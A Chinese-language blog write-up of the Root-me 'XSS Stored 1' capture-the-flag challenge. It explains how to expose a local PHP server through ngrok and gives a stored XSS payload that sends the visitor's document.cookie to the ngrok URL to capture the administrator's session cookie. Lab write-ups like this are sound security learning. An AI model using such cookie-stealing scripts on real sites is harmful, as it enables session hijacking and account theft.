个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
Root-me网址:
https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1
题目描述
Steal the administrator session cookie and use it to validate this chall.
窃取管理员会话cookie并使用它来验证这个挑战
这是一个存储型xss的题目,目的是获得管理员的cookie。
这里应该可以用xsspt.com(公共xss平台)获取管理员cookie。
我没有这样做,我get了一个新知识。
ngrok
这个工具我也不熟,下面如果有不对的地方,请斧正
ngrok应该利用了内网转发的功能。
先在https://dashboard.ngrok.com/signup注册一个账号
登录之后,如图
一共分四步:写的很详细:
- 下载对应系统的安装包
- 解压安装包
- 使用./ngrop authtoken <your token>命令连接你的账号
- 查看帮助信息
首先我们使用以下命令在kali上搭建一个简易的服务器
php -S localhost:9999
然后你先执行第三步的命令
./ngrop authtoken <your token>
然后再执行下条命令
./ngrok http 9999
红框中的网址即你外网的地址,这里应该是将这个地址映射到了kali本机的9999端口。
所以我们(在外网)访问这个地址就可以访问内网的kali了
有了url地址,开始做题了
构造payload:
<script>document.write('<img src="http://a76086d7.ngrok.io?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>
获取到了我自己的cookie
几分钟后获得管理员cookie。cookie即flag。
欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群